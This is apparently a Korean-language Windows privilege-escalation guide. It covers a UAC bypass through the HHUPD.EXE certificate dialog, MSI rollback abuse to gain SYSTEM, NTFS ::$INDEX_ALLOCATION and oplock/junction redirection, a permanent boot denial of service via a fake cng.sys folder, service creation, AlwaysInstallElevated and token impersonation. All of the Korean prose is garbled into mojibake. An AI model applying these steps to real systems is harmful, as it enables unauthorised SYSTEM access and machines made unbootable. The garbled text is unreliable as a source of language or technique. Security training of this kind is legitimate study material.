์ด ์ทจ์•ฝ์ ์„ ์•…์šฉํ•˜๋ ค๋ฉด ๋‹ค์Œ ๋‹จ๊ณ„๋ฅผ ์ˆ˜ํ–‰ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค:

1) Right click on the HHUPD.EXE file and run it as Administrator.

2) When the UAC prompt appears, select "Show more details".

3) Click "Show publisher certificate information".

4) If the system is vulnerable, when clicking on the "Issued by" URL link, the default web browser may appear.

5) Wait for the site to load completely and select "Save as" to bring up an explorer.exe window.

6) In the address path of the explorer window, enter cmd.exe, powershell.exe or any other interactive process.

7) You now will have an "NT\AUTHORITY SYSTEM" command prompt.

8) Remember to cancel setup and the UAC prompt to return to your desktop.

๊ด€๋ฆฌ์ž Medium์—์„œ High ๋ฌด๊ฒฐ์„ฑ ์ˆ˜์ค€์œผ๋กœ / UAC Bypass

์ด๊ฑธ ์ฝ์–ด Integrity Levels์— ๋Œ€ํ•ด ๋ฐฐ์šฐ์„ธ์š”:

Integrity Levels

๊ทธ๋‹ค์Œ UAC์™€ UAC bypasses์— ๋Œ€ํ•ด ๋ฐฐ์šฐ๋ ค๋ฉด ์ด๊ฒƒ์„ ์ฝ์œผ์„ธ์š”:

UAC - User Account Control

Arbitrary Folder Delete/Move/Rename์—์„œ SYSTEM EoP๋กœ ๊ฐ€๊ธฐ

์ด ๊ธฐ์ˆ ์€ ์ด ๋ธ”๋กœ๊ทธ ํฌ์ŠคํŠธ์— ์„ค๋ช…๋˜์–ด ์žˆ์œผ๋ฉฐ ์ต์Šคํ”Œ๋กœ์ž‡ ์ฝ”๋“œ๋Š” ์—ฌ๊ธฐ์—์„œ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๊ณต๊ฒฉ์€ ๊ธฐ๋ณธ์ ์œผ๋กœ Windows Installer์˜ rollback ๊ธฐ๋Šฅ์„ ๋‚จ์šฉํ•ด ์ •์ƒ ํŒŒ์ผ์„ ์ œ๊ฑฐ/๊ต์ฒดํ•˜๊ณ  ์–ธ์ธ์Šคํ†จ ๊ณผ์ • ์ค‘์— ์•…์„ฑ ํŒŒ์ผ๋กœ ๋ฐ”๊พธ๋Š” ๋ฐฉ์‹์ž…๋‹ˆ๋‹ค. ์ด๋ฅผ ์œ„ํ•ด ๊ณต๊ฒฉ์ž๋Š” C:\Config.Msi ํด๋”๋ฅผ ํ•˜์ด์žฌํฌํ•˜๊ธฐ ์œ„ํ•œ ์•…์„ฑ MSI installer๋ฅผ ๋งŒ๋“ค์–ด์•ผ ํ•˜๊ณ , ์ดํ›„ ๋‹ค๋ฅธ MSI ํŒจํ‚ค์ง€์˜ ์–ธ์ธ์Šคํ†จ ์‹œ Windows Installer๊ฐ€ rollback ํŒŒ์ผ์„ ์ €์žฅํ•  ๋•Œ ๊ทธ ํŒŒ์ผ๋“ค์ด ์•…์„ฑ ํŽ˜์ด๋กœ๋“œ๋ฅผ ํฌํ•จํ•˜๋„๋ก ์กฐ์ž‘๋ฉ๋‹ˆ๋‹ค.

์š”์•ฝ๋œ ๊ธฐ๋ฒ•์€ ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค:

  1. Stage 1 โ€“ Hijack ์ค€๋น„ (C:\Config.Msi๋ฅผ ๋น„์›Œ๋‘ )
  • Step 1: MSI ์„ค์น˜

  • TARGETDIR ๊ฐ™์€ ์“ฐ๊ธฐ ๊ฐ€๋Šฅํ•œ ํด๋”์— ๋ฌดํ•ดํ•œ ํŒŒ์ผ(์˜ˆ: dummy.txt)์„ ์„ค์น˜ํ•˜๋Š” .msi๋ฅผ ๋งŒ๋“ญ๋‹ˆ๋‹ค.

  • ์ธ์Šคํ†จ๋Ÿฌ๋ฅผ **โ€œUAC Compliantโ€**๋กœ ํ‘œ์‹œํ•˜์—ฌ ๋น„๊ด€๋ฆฌ์ž ์‚ฌ์šฉ์ž๋„ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค.

  • ์„ค์น˜ ํ›„ ํŒŒ์ผ์— ๋Œ€ํ•œ handle์„ ์—ด์–ด ๋‘ก๋‹ˆ๋‹ค.

  • Step 2: ์–ธ์ธ์Šคํ†จ ์‹œ์ž‘

  • ๋™์ผํ•œ .msi๋ฅผ ์–ธ์ธ์Šคํ†จํ•ฉ๋‹ˆ๋‹ค.

  • ์–ธ์ธ์Šคํ†จ ๊ณผ์ •์—์„œ ํŒŒ์ผ๋“ค์ด C:\Config.Msi๋กœ ์ด๋™๋˜๊ณ  .rbf ํŒŒ์ผ๋กœ ์ด๋ฆ„์ด ๋ฐ”๋€๋‹ˆ๋‹ค(rollback ๋ฐฑ์—…).

  • ํŒŒ์ผ์ด C:\Config.Msi\<random>.rbf๊ฐ€ ๋˜์—ˆ๋Š”์ง€ ๊ฐ์ง€ํ•˜๊ธฐ ์œ„ํ•ด GetFinalPathNameByHandle๋กœ ์—ด๋ ค ์žˆ๋Š” ํŒŒ์ผ ํ•ธ๋“ค์„ ํด๋งํ•ฉ๋‹ˆ๋‹ค.

  • Step 3: ์ปค์Šคํ…€ ๋™๊ธฐํ™”

  • .msi์—๋Š” ๋‹ค์Œ์„ ์ˆ˜ํ–‰ํ•˜๋Š” **์ปค์Šคํ…€ ์–ธ์ธ์Šคํ†จ ์•ก์…˜(SyncOnRbfWritten)**์ด ํฌํ•จ๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค:

  • .rbf๊ฐ€ ์ž‘์„ฑ๋˜๋ฉด ์‹ ํ˜ธ๋ฅผ ๋ณด๋ƒ…๋‹ˆ๋‹ค.

  • ์–ธ์ธ์Šคํ†จ์„ ๊ณ„์†ํ•˜๊ธฐ ์ „์— ๋‹ค๋ฅธ ์ด๋ฒคํŠธ๋ฅผ ๋Œ€๊ธฐํ•ฉ๋‹ˆ๋‹ค.

  • Step 4: .rbf ์‚ญ์ œ ์ฐจ๋‹จ

  • ์‹ ํ˜ธ๋ฅผ ๋ฐ›์œผ๋ฉด FILE_SHARE_DELETE ์—†์ด .rbf ํŒŒ์ผ์„ ์˜คํ”ˆํ•˜์—ฌ ์‚ญ์ œ๊ฐ€ ๋˜์ง€ ์•Š๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค.

  • ๊ทธ๋Ÿฐ ๋‹ค์Œ ์–ธ์ธ์Šคํ†จ์ด ์™„๋ฃŒ๋  ์ˆ˜ ์žˆ๋„๋ก ์‹ ํ˜ธ๋ฅผ ๋˜๋Œ๋ ค ์ค๋‹ˆ๋‹ค.

  • Windows Installer๋Š” .rbf๋ฅผ ์‚ญ์ œํ•˜์ง€ ๋ชปํ•˜๊ณ , ๋ชจ๋“  ๋‚ด์šฉ์„ ์‚ญ์ œํ•  ์ˆ˜ ์—†๊ธฐ ๋•Œ๋ฌธ์— C:\Config.Msi๊ฐ€ ์ œ๊ฑฐ๋˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค.

  • Step 5: .rbf๋ฅผ ์ˆ˜๋™์œผ๋กœ ์‚ญ์ œ

  • ๊ณต๊ฒฉ์ž๋Š” .rbf ํŒŒ์ผ์„ ์ˆ˜๋™์œผ๋กœ ์‚ญ์ œํ•ฉ๋‹ˆ๋‹ค.

  • ์ด์ œ C:\Config.Msi๋Š” ๋น„์–ด์žˆ์–ด ํ•˜์ด์žฌํฌํ•  ์ค€๋น„๊ฐ€ ๋ฉ๋‹ˆ๋‹ค.

์ด ์‹œ์ ์—์„œ, SYSTEM ๋ ˆ๋ฒจ์˜ arbitrary folder delete ์ทจ์•ฝ์ ์„ ํŠธ๋ฆฌ๊ฑฐํ•˜์—ฌ C:\Config.Msi๋ฅผ ์‚ญ์ œํ•˜์„ธ์š”.

  1. Stage 2 โ€“ Rollback ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์•…์„ฑ์œผ๋กœ ๊ต์ฒด
  • Step 6: ์•ฝํ•œ ACL๋กœ C:\Config.Msi ์žฌ์ƒ์„ฑ

  • ์ง์ ‘ C:\Config.Msi ํด๋”๋ฅผ ๋‹ค์‹œ ๋งŒ๋“ญ๋‹ˆ๋‹ค.

  • ์•ฝํ•œ DACL(์˜ˆ: Everyone:F)์„ ์„ค์ •ํ•˜๊ณ  WRITE_DAC๋กœ ํ•ธ๋“ค์„ ์—ด์–ด ๋‘ก๋‹ˆ๋‹ค.

  • Step 7: ๋‹ค๋ฅธ ์„ค์น˜ ์‹คํ–‰

  • ๋‹ค์‹œ .msi๋ฅผ ์„ค์น˜ํ•˜๋˜:

  • TARGETDIR: ์“ฐ๊ธฐ ๊ฐ€๋Šฅํ•œ ์œ„์น˜.

  • ERROROUT: ๊ฐ•์ œ ์‹คํŒจ๋ฅผ ์œ ๋ฐœํ•˜๋Š” ๋ณ€์ˆ˜.

  • ์ด ์„ค์น˜๋Š” ๋‹ค์‹œ rollback์„ ํŠธ๋ฆฌ๊ฑฐํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค(์ด๋•Œ .rbs์™€ .rbf๋ฅผ ์ฝ์Œ).

  • Step 8: .rbs ๊ฐ์‹œ

  • ReadDirectoryChangesW๋ฅผ ์‚ฌ์šฉํ•ด C:\Config.Msi๋ฅผ ๋ชจ๋‹ˆํ„ฐ๋งํ•˜์—ฌ ์ƒˆ .rbs๊ฐ€ ๋‚˜ํƒ€๋‚  ๋•Œ๊นŒ์ง€ ๊ธฐ๋‹ค๋ฆฝ๋‹ˆ๋‹ค.

  • ๊ทธ ํŒŒ์ผ๋ช…์„ ์บก์ฒ˜ํ•ฉ๋‹ˆ๋‹ค.

  • Step 9: Rollback ์ „์— ๋™๊ธฐํ™”

  • .msi์—๋Š” ๋‹ค์Œ์„ ์ˆ˜ํ–‰ํ•˜๋Š” **์ปค์Šคํ…€ ์ธ์Šคํ†จ ์•ก์…˜(SyncBeforeRollback)**์ด ํฌํ•จ๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค:

  • .rbs๊ฐ€ ์ƒ์„ฑ๋˜๋ฉด ์ด๋ฒคํŠธ๋ฅผ ์‹ ํ˜ธํ•ฉ๋‹ˆ๋‹ค.

  • ๊ทธ๋Ÿฐ ๋‹ค์Œ ๊ณ„์†ํ•˜๊ธฐ ์ „์— ๋Œ€๊ธฐํ•ฉ๋‹ˆ๋‹ค.

  • Step 10: ์•ฝํ•œ ACL ๋‹ค์‹œ ์ ์šฉ

  • .rbs ์ƒ์„ฑ๋จ ์ด๋ฒคํŠธ๋ฅผ ๋ฐ›์€ ํ›„:

  • Windows Installer๋Š” C:\Config.Msi์— ๊ฐ•ํ•œ ACL์„ ๋‹ค์‹œ ์ ์šฉํ•ฉ๋‹ˆ๋‹ค.

  • ํ•˜์ง€๋งŒ ๋‹น์‹ ์€ ์—ฌ์ „ํžˆ WRITE_DAC ํ•ธ๋“ค์„ ๊ฐ€์ง€๊ณ  ์žˆ์œผ๋ฏ€๋กœ ์•ฝํ•œ ACL์„ ๋‹ค์‹œ ์ ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

ACL์€ ํ•ธ๋“ค ์˜คํ”ˆ ์‹œ์—๋งŒ ์ ์šฉ๋˜๋ฏ€๋กœ, ์—ฌ์ „ํžˆ ํด๋”์— ์“ธ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

  • Step 11: ๊ฐ€์งœ .rbs์™€ .rbf ๋ฐฐ์น˜

  • .rbs ํŒŒ์ผ์„ ๋ฎ์–ด์จ์„œ Windows์— ๋‹ค์Œ์„ ์ง€์‹œํ•˜๋Š” ๊ฐ€์งœ rollback ์Šคํฌ๋ฆฝํŠธ๋ฅผ ๋„ฃ์Šต๋‹ˆ๋‹ค:

  • ๋‹น์‹ ์˜ .rbf ํŒŒ์ผ(์•…์„ฑ DLL)์„ ํŠน๊ถŒ ์žˆ๋Š” ์œ„์น˜(์˜ˆ: C:\Program Files\Common Files\microsoft shared\ink\HID.DLL)์œผ๋กœ ๋ณต์›ํ•˜๋„๋ก.

  • SYSTEM ๋ ˆ๋ฒจ ํŽ˜์ด๋กœ๋“œ DLL์„ ํฌํ•จํ•œ ๊ฐ€์งœ .rbf๋ฅผ ๋ฐฐ์น˜ํ•ฉ๋‹ˆ๋‹ค.

  • Step 12: Rollback ํŠธ๋ฆฌ๊ฑฐ

  • ๋™๊ธฐํ™” ์ด๋ฒคํŠธ๋ฅผ ์‹ ํ˜ธํ•˜์—ฌ ์ธ์Šคํ†จ๋Ÿฌ๊ฐ€ ์žฌ๊ฐœ๋˜๋„๋ก ํ•ฉ๋‹ˆ๋‹ค.

  • ErrorOut๋ผ๋Š” type 19 custom action์ด ์„ค์น˜๋ฅผ ์˜๋„์ ์œผ๋กœ ์•Œ๋ ค์ง„ ์‹œ์ ์—์„œ ์‹คํŒจํ•˜๊ฒŒ ์„ค์ •๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค.

  • ์ด๋กœ ์ธํ•ด rollback์ด ์‹œ์ž‘๋ฉ๋‹ˆ๋‹ค.

  • Step 13: SYSTEM์ด DLL์„ ์„ค์น˜

  • Windows Installer๋Š”:

  • ๋‹น์‹ ์˜ ์•…์„ฑ .rbs๋ฅผ ์ฝ๊ณ ,

  • ํƒ€๊นƒ ์œ„์น˜์— ๋‹น์‹ ์˜ .rbf DLL์„ ๋ณต์‚ฌํ•ฉ๋‹ˆ๋‹ค.

  • ์ด์ œ SYSTEM์ด ๋กœ๋“œํ•˜๋Š” ๊ฒฝ๋กœ์— ์•…์„ฑ DLL์ด ์กด์žฌํ•˜๊ฒŒ ๋ฉ๋‹ˆ๋‹ค.

  • ๋งˆ์ง€๋ง‰ ๋‹จ๊ณ„: SYSTEM ์ฝ”๋“œ ์‹คํ–‰

  • osk.exe์™€ ๊ฐ™์€ ์‹ ๋ขฐ๋œ auto-elevated binary๋ฅผ ์‹คํ–‰ํ•˜์—ฌ ํ•˜์ด์žฌํฌํ•œ DLL์„ ๋กœ๋“œํ•˜๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค.

  • ๋: ๋‹น์‹ ์˜ ์ฝ”๋“œ๋Š” SYSTEM ๊ถŒํ•œ์œผ๋กœ ์‹คํ–‰๋ฉ๋‹ˆ๋‹ค.

Arbitrary File Delete/Move/Rename์—์„œ SYSTEM EoP๋กœ ๊ฐ€๊ธฐ

์ฃผ๋œ MSI rollback ๊ธฐ๋ฒ•(์œ„์˜ ๋ฐฉ๋ฒ•)์€ ์ „์ฒด ํด๋”(C:\Config.Msi ๋“ฑ)๋ฅผ ์‚ญ์ œํ•  ์ˆ˜ ์žˆ๋‹ค๊ณ  ๊ฐ€์ •ํ•ฉ๋‹ˆ๋‹ค. ํ•˜์ง€๋งŒ ์ทจ์•ฝ์ ์ด ์ž„์˜์˜ ํŒŒ์ผ ์‚ญ์ œ๋งŒ ํ—ˆ์šฉํ•œ๋‹ค๋ฉด ์–ด๋–ป๊ฒŒ ํ• ๊นŒ์š”?

NTFS ๋‚ด๋ถ€ ๊ตฌ์กฐ๋ฅผ ์•…์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: ๋ชจ๋“  ํด๋”๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์€ ์ˆจ๊ฒจ์ง„ ๋Œ€์ฒด ๋ฐ์ดํ„ฐ ์ŠคํŠธ๋ฆผ์„ ๊ฐ€์ง€๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค:

C:\SomeFolder::$INDEX_ALLOCATION

์ด ์ŠคํŠธ๋ฆผ์€ ํด๋”์˜ ์ธ๋ฑ์Šค ๋ฉ”ํƒ€๋ฐ์ดํ„ฐ๋ฅผ ์ €์žฅํ•ฉ๋‹ˆ๋‹ค.

๋”ฐ๋ผ์„œ ํด๋”์˜ ::$INDEX_ALLOCATION ์ŠคํŠธ๋ฆผ์„ ์‚ญ์ œํ•˜๋ฉด, NTFS๋Š” ํŒŒ์ผ์‹œ์Šคํ…œ์—์„œ ํ•ด๋‹น ํด๋” ์ „์ฒด๋ฅผ ์ œ๊ฑฐํ•ฉ๋‹ˆ๋‹ค.

์ด ์ž‘์—…์€ ๋‹ค์Œ๊ณผ ๊ฐ™์€ ํ‘œ์ค€ ํŒŒ์ผ ์‚ญ์ œ API๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

DeleteFileW(L"C:\\Config.Msi::$INDEX_ALLOCATION");

ํŒŒ์ผ ์‚ญ์ œ API๋ฅผ ํ˜ธ์ถœํ•˜๊ณ  ์žˆ์Œ์—๋„ ๋ถˆ๊ตฌํ•˜๊ณ , ๊ทธ๊ฒƒ์€ ํด๋” ์ž์ฒด๋ฅผ ์‚ญ์ œํ•ฉ๋‹ˆ๋‹ค.

ํด๋” ๋‚ด์šฉ ์‚ญ์ œ์—์„œ SYSTEM EoP๋กœ

๋งŒ์•ฝ ์—ฌ๋Ÿฌ๋ถ„์˜ ํ”„๋ฆฌ๋ฏธํ‹ฐ๋ธŒ๊ฐ€ ์ž„์˜์˜ ํŒŒ์ผ/ํด๋”๋ฅผ ์‚ญ์ œํ•  ์ˆ˜ ์—†์ง€๋งŒ, ๊ณต๊ฒฉ์ž๊ฐ€ ์ œ์–ดํ•˜๋Š” ํด๋”์˜ ๋‚ด์šฉ ์‚ญ์ œ๋ฅผ ํ—ˆ์šฉํ•œ๋‹ค๋ฉด?

  1. Step 1: ๋ฏธ๋ผ ํด๋”์™€ ํŒŒ์ผ ์„ค์ •
  • ์ƒ์„ฑ: C:\temp\folder1
  • ๊ทธ ์•ˆ์—: C:\temp\folder1\file1.txt
  1. Step 2: file1.txt์— oplock ์„ค์ •
  • ๊ถŒํ•œ ์žˆ๋Š” ํ”„๋กœ์„ธ์Šค๊ฐ€ file1.txt๋ฅผ ์‚ญ์ œํ•˜๋ ค๊ณ  ์‹œ๋„ํ•  ๋•Œ, oplock์€ ์‹คํ–‰์„ ์ผ์‹œ ์ค‘๋‹จํ•ฉ๋‹ˆ๋‹ค.
// pseudo-code
RequestOplock("C:\\temp\\folder1\\file1.txt");
WaitForDeleteToTriggerOplock();
  1. Step 3: SYSTEM ํ”„๋กœ์„ธ์Šค ํŠธ๋ฆฌ๊ฑฐ (์˜ˆ: SilentCleanup)
  • ์ด ํ”„๋กœ์„ธ์Šค๋Š” ํด๋”(์˜ˆ: %TEMP%)๋ฅผ ์Šค์บ”ํ•˜๊ณ  ๊ทธ ๋‚ด์šฉ๋ฌผ์„ ์‚ญ์ œํ•˜๋ ค๊ณ  ์‹œ๋„ํ•ฉ๋‹ˆ๋‹ค.
  • file1.txt์— ๋„๋‹ฌํ•˜๋ฉด oplock triggers ํ•˜๊ณ  ์ œ์–ด๊ฐ€ ๋‹น์‹ ์˜ ์ฝœ๋ฐฑ์œผ๋กœ ๋„˜์–ด๊ฐ‘๋‹ˆ๋‹ค.
  1. Step 4: oplock callback ๋‚ด๋ถ€ โ€“ ์‚ญ์ œ๋ฅผ ๋ฆฌ๋‹ค์ด๋ ‰ํŠธ
  • ์˜ต์…˜ A: file1.txt๋ฅผ ๋‹ค๋ฅธ ๊ณณ์œผ๋กœ ์ด๋™

  • ์ด๋ ‡๊ฒŒ ํ•˜๋ฉด oplock์„ ๊นจ์ง€ ์•Š๊ณ  folder1์„ ๋น„์›๋‹ˆ๋‹ค.

  • file1.txt๋ฅผ ์ง์ ‘ ์‚ญ์ œํ•˜์ง€ ๋งˆ์„ธ์š” โ€” ๊ทธ๋Ÿฌ๋ฉด oplock์ด ์กฐ๊ธฐ์— ํ•ด์ œ๋ฉ๋‹ˆ๋‹ค.

  • ์˜ต์…˜ B: folder1์„ junction์œผ๋กœ ๋ณ€ํ™˜:

# folder1 is now a junction to \RPC Control (non-filesystem namespace)
mklink /J C:\temp\folder1 \\?\GLOBALROOT\RPC Control
  • ์˜ต์…˜ C: \RPC Control์— symlink๋ฅผ ์ƒ์„ฑ:
# Make file1.txt point to a sensitive folder stream
CreateSymlink("\\RPC Control\\file1.txt", "C:\\Config.Msi::$INDEX_ALLOCATION")

์ด๊ฒƒ์€ ํด๋” ๋ฉ”ํƒ€๋ฐ์ดํ„ฐ๋ฅผ ์ €์žฅํ•˜๋Š” NTFS ๋‚ด๋ถ€ ์ŠคํŠธ๋ฆผ์„ ๊ฒจ๋ƒฅํ•ฉ๋‹ˆ๋‹ค โ€” ์ด๋ฅผ ์‚ญ์ œํ•˜๋ฉด ํด๋” ์ž์ฒด๊ฐ€ ์‚ญ์ œ๋ฉ๋‹ˆ๋‹ค.

  1. 5๋‹จ๊ณ„: oplock ํ•ด์ œ
  • SYSTEM ํ”„๋กœ์„ธ์Šค๋Š” ๊ณ„์† ์ง„ํ–‰๋˜์–ด file1.txt๋ฅผ ์‚ญ์ œํ•˜๋ ค๊ณ  ์‹œ๋„ํ•ฉ๋‹ˆ๋‹ค.
  • ํ•˜์ง€๋งŒ ์ด์ œ junction + symlink ๋•Œ๋ฌธ์— ์‹ค์ œ๋กœ ์‚ญ์ œํ•˜๋Š” ๋Œ€์ƒ์€:
C:\Config.Msi::$INDEX_ALLOCATION

๊ฒฐ๊ณผ: C:\Config.Msi๋Š” SYSTEM์— ์˜ํ•ด ์‚ญ์ œ๋ฉ๋‹ˆ๋‹ค.

Arbitrary Folder Create์—์„œ Permanent DoS๋กœ

primitive๋ฅผ ์•…์šฉํ•˜์—ฌ SYSTEM/admin๋กœ ์ž„์˜ ํด๋”๋ฅผ ์ƒ์„ฑํ•˜๋Š” ๊ธฐ๋Šฅ์„ ์ด์šฉํ•˜์„ธ์š” โ€” ํŒŒ์ผ์„ ์“ธ ์ˆ˜ ์—†๋”๋ผ๋„ ๋˜๋Š” ์•ฝํ•œ ๊ถŒํ•œ์„ ์„ค์ •ํ•  ์ˆ˜ ์—†๋”๋ผ๋„.

์˜ˆ๋ฅผ ๋“ค์–ด critical Windows driver์˜ ์ด๋ฆ„์„ ๊ฐ€์ง„ folder(ํŒŒ์ผ์ด ์•„๋‹˜)๋ฅผ ์ƒ์„ฑํ•˜์„ธ์š”:

C:\Windows\System32\cng.sys
  • ์ด ๊ฒฝ๋กœ๋Š” ์ผ๋ฐ˜์ ์œผ๋กœ cng.sys ์ปค๋„ ๋ชจ๋“œ ๋“œ๋ผ์ด๋ฒ„์— ํ•ด๋‹นํ•ฉ๋‹ˆ๋‹ค.
  • ๋งŒ์•ฝ ํ•ด๋‹น ๊ฒฝ๋กœ๋ฅผ ํด๋”๋กœ ๋ฏธ๋ฆฌ ์ƒ์„ฑ(pre-create) ํ•ด๋‘๋ฉด, Windows๋Š” ๋ถ€ํŒ… ์‹œ ์‹ค์ œ ๋“œ๋ผ์ด๋ฒ„๋ฅผ ๋กœ๋“œํ•˜์ง€ ๋ชปํ•ฉ๋‹ˆ๋‹ค.
  • ๊ทธ๋Ÿฌ๋ฉด, Windows๋Š” ๋ถ€ํŒ… ์ค‘์— cng.sys๋ฅผ ๋กœ๋“œํ•˜๋ ค ํ•ฉ๋‹ˆ๋‹ค.
  • ํด๋”๋ฅผ ๋ฐœ๊ฒฌํ•˜๋ฉด, ์‹ค์ œ ๋“œ๋ผ์ด๋ฒ„๋ฅผ ์ฐพ์ง€ ๋ชปํ•˜๊ณ , ํฌ๋ž˜์‹œํ•˜๊ฑฐ๋‚˜ ๋ถ€ํŒ…์ด ์ค‘๋‹จ๋ฉ๋‹ˆ๋‹ค.
  • ์™ธ๋ถ€ ๊ฐœ์ž…(์˜ˆ: ๋ถ€ํŒ… ์ˆ˜๋ฆฌ๋‚˜ ๋””์Šคํฌ ์ ‘๊ทผ) ์—†์ด๋Š” ๋Œ€์ฒด ๊ฒฝ๋กœ(fallback)๊ฐ€ ์—†๊ณ , ๋ณต๊ตฌ(recovery)๊ฐ€ ๋ถˆ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค.

High Integrity์—์„œ SYSTEM์œผ๋กœ

์ƒˆ ์„œ๋น„์Šค

์ด๋ฏธ High Integrity ํ”„๋กœ์„ธ์Šค์—์„œ ์‹คํ–‰ ์ค‘์ด๋ผ๋ฉด, SYSTEM์œผ๋กœ ๊ฐ€๋Š” ๊ฒฝ๋กœ๋Š” ๋‹จ์ˆœํžˆ ์ƒˆ ์„œ๋น„์Šค๋ฅผ ์ƒ์„ฑํ•˜๊ณ  ์‹คํ–‰ํ•˜๋Š” ๊ฒƒ๋งŒ์œผ๋กœ ์‰ฝ๊ฒŒ ํ™•๋ณดํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

sc create newservicename binPath= "C:\windows\system32\notepad.exe"
sc start newservicename

Tip

์„œ๋น„์Šค ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ๋งŒ๋“ค ๋•Œ ์œ ํšจํ•œ ์„œ๋น„์Šค์ธ์ง€, ๋˜๋Š” ๋ฐ”์ด๋„ˆ๋ฆฌ๊ฐ€ ํ•„์š”ํ•œ ๋™์ž‘์„ ๋น ๋ฅด๊ฒŒ ์ˆ˜ํ–‰ํ•˜๋Š”์ง€ ํ™•์ธํ•˜์„ธ์š”. ์œ ํšจํ•œ ์„œ๋น„์Šค๊ฐ€ ์•„๋‹ˆ๋ฉด 20์ดˆ ํ›„์— ์ข…๋ฃŒ๋ฉ๋‹ˆ๋‹ค.

AlwaysInstallElevated

High Integrity ํ”„๋กœ์„ธ์Šค์—์„œ AlwaysInstallElevated ๋ ˆ์ง€์ŠคํŠธ๋ฆฌ ํ•ญ๋ชฉ์„ ํ™œ์„ฑํ™”ํ•˜๊ณ  .msi ๋ž˜ํผ๋ฅผ ์‚ฌ์šฉํ•ด reverse shell์„ ์„ค์น˜ํ•ด ๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
More information about the registry keys involved and how to install a .msi package here.

High + SeImpersonate privilege to System

์ฝ”๋“œ๋Š” find the code here.

From SeDebug + SeImpersonate to Full Token privileges

ํ•ด๋‹น token ๊ถŒํ•œ์„ ๋ณด์œ ํ•˜๊ณ  ์žˆ๋‹ค๋ฉด(๋Œ€๊ฐœ ์ด๋ฏธ High Integrity ํ”„๋กœ์„ธ์Šค์—์„œ ๋ฐœ๊ฒฌ๋จ), SeDebug ๊ถŒํ•œ์œผ๋กœ ๊ฑฐ์˜ ๋ชจ๋“  ํ”„๋กœ์„ธ์Šค(๋ณดํ˜ธ๋œ ํ”„๋กœ์„ธ์Šค ์ œ์™ธ)๋ฅผ ์—ด๊ณ , ํ”„๋กœ์„ธ์Šค์˜ token์„ ๋ณต์‚ฌํ•˜์—ฌ ํ•ด๋‹น token์œผ๋กœ ์ž„์˜์˜ ํ”„๋กœ์„ธ์Šค๋ฅผ ์ƒ์„ฑํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
์ด ๊ธฐ๋ฒ•์€ ์ผ๋ฐ˜์ ์œผ๋กœ ๋ชจ๋“  token ๊ถŒํ•œ์„ ๊ฐ€์ง„ SYSTEM์œผ๋กœ ์‹คํ–‰ ์ค‘์ธ ํ”„๋กœ์„ธ์Šค๋ฅผ ์„ ํƒํ•ฉ๋‹ˆ๋‹ค(์˜ˆ, ๋ชจ๋“  token ๊ถŒํ•œ์ด ์—†๋Š” SYSTEM ํ”„๋กœ์„ธ์Šค๋„ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค).
You can find an example of code executing the proposed technique here.

Named Pipes

์ด ๊ธฐ๋ฒ•์€ meterpreter๊ฐ€ getsystem์œผ๋กœ ๊ถŒํ•œ์„ ์ƒ์Šนํ•  ๋•Œ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค. ๊ธฐ๋ฒ•์€ ํŒŒ์ดํ”„๋ฅผ ์ƒ์„ฑํ•œ ๋’ค ๊ทธ ํŒŒ์ดํ”„์— ์“ฐ๋„๋ก ์„œ๋น„์Šค๋ฅผ ์ƒ์„ฑ/์•…์šฉํ•˜๋Š” ๊ฒƒ์œผ๋กœ ๊ตฌ์„ฑ๋ฉ๋‹ˆ๋‹ค. ๊ทธ๋Ÿฐ ๋‹ค์Œ ํŒŒ์ดํ”„๋ฅผ ์ƒ์„ฑํ•œ ์„œ๋ฒ„๋Š” SeImpersonate ๊ถŒํ•œ์„ ์‚ฌ์šฉํ•ด ํŒŒ์ดํ”„ ํด๋ผ์ด์–ธํŠธ(์„œ๋น„์Šค)์˜ token์„ ๊ฐ€๋ฉดํ™”(impersonate) ํ•˜์—ฌ SYSTEM ๊ถŒํ•œ์„ ์–ป์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
If you want to learn more about name pipes you should read this.
If you want to read an example of how to go from high integrity to System using name pipes you should read this.

Dll Hijacking

